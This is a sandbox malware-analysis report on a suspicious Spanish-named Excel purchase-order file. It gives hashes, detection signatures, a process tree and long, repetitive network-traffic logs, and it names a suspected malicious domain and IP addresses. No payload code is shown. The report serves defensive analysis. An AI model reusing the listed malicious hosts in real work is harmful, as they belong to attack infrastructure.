Edit tour

Windows Analysis Report
NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Overview

General Information

Sample name:	NUEVA ORDEN DE COMPRA 73244.xla.xlsx
Analysis ID:	1544844
MD5:	49aab4d665769ec8184e6bac6da8183f
SHA1:	350bec361d188495922f12c493ba7e806c2d89ff
SHA256:	2861d1f7642e8d2bae9122936b7c38a4d53faa9d3c267dc4a46054f54387da6c
Tags:	xlaxlsxuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Machine Learning detection for sample

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Unable to load, office file is protected or invalid

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 5012 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 7536 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

Acrobat.exe (PID: 7732 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" -Embedding MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

EXCEL.EXE (PID: 8064 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\NUEVA ORDEN DE COMPRA 73244.xla.xlsx" MD5: 4A871771235598812032C822E6F68F19)

cleanup

Sigma Signatures

System Summary

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 172.67.162.95, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5012, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49769

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.4, DestinationIsIpv6: false, DestinationPort: 49769, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5012, Protocol: tcp, SourceIp: 172.67.162.95, SourceIsIpv6: false, SourcePort: 443

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx

ReversingLabs: Detection: 18%

Machine Learning detection for sample

Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49931 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Source: global traffic

DNS query: name: acesso.run

Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49781 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49782 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49783 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49786 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49787 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49788 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49790 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49789 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49791 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49792 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49793 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49794 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49797 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49798 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49799 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49800 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49801 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49802 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49803 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49804 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49805 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49806 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49807 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49808 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49809 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49810 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49811 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49812 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49814 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49813 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49816 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49815 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49817 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49818 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49819 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49820 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49821 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49822 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49823 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49824 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49826 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49825 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49827 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49828 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49829 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49830 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49831 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49832 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49833 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49834 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49835 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49836 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49837 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49838 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49839 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49840 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49841 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49863 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49865 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49864 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49866 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49868 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49867 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49869 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49870 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49871 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49872 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49873 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49874 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49875 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49876 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49877 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49878 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49879 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49881 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49880 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49883 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49884 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49887 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49886 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49888 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49885 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49889 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49890 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49891 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49892 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49893 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49894 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49895 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49896 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49897 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49898 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49900 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49904 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49901 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49902 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49903 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49905 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49906 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49909 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49907 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49908 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49910 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49911 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49912 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49913 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49914 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49915 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49917 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49918 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49916 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49919 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49920 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49922 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49921 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49923 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49924 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49925 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49927 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49926 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49929 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49928 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49930 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49931 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49932 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49933 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49934 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49935 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49938 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49936 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49939 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49940 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49942 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49943 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49941 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49937 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49944 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49946 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49947 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49945 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49948 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49949 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49952 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49951 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49953 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49954 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49955 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49956 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49957 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49958 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49959 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49960 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49961 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49962 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49964 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49963 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49965 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49966 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49967 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49968 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49969 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49970 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49971 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49972 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49973 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49974 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49975 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49976 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49977 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49978 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49980 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49981 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49982 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49979 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49983 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49984 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49985 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49986 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49987 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49988 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49989 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49990 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49991 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49992 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49993 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49994 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49995 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49996 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49997 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49998 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49999 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50000 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50001 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50003 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50002 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50004 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50005 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50006 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50008 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50007 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50010 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50012 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50011 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50013 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50014 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50015 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50016 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50017 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50018 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50019 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50020 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50021 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50022 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50023 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:50024 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 107.175.130.36:80
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
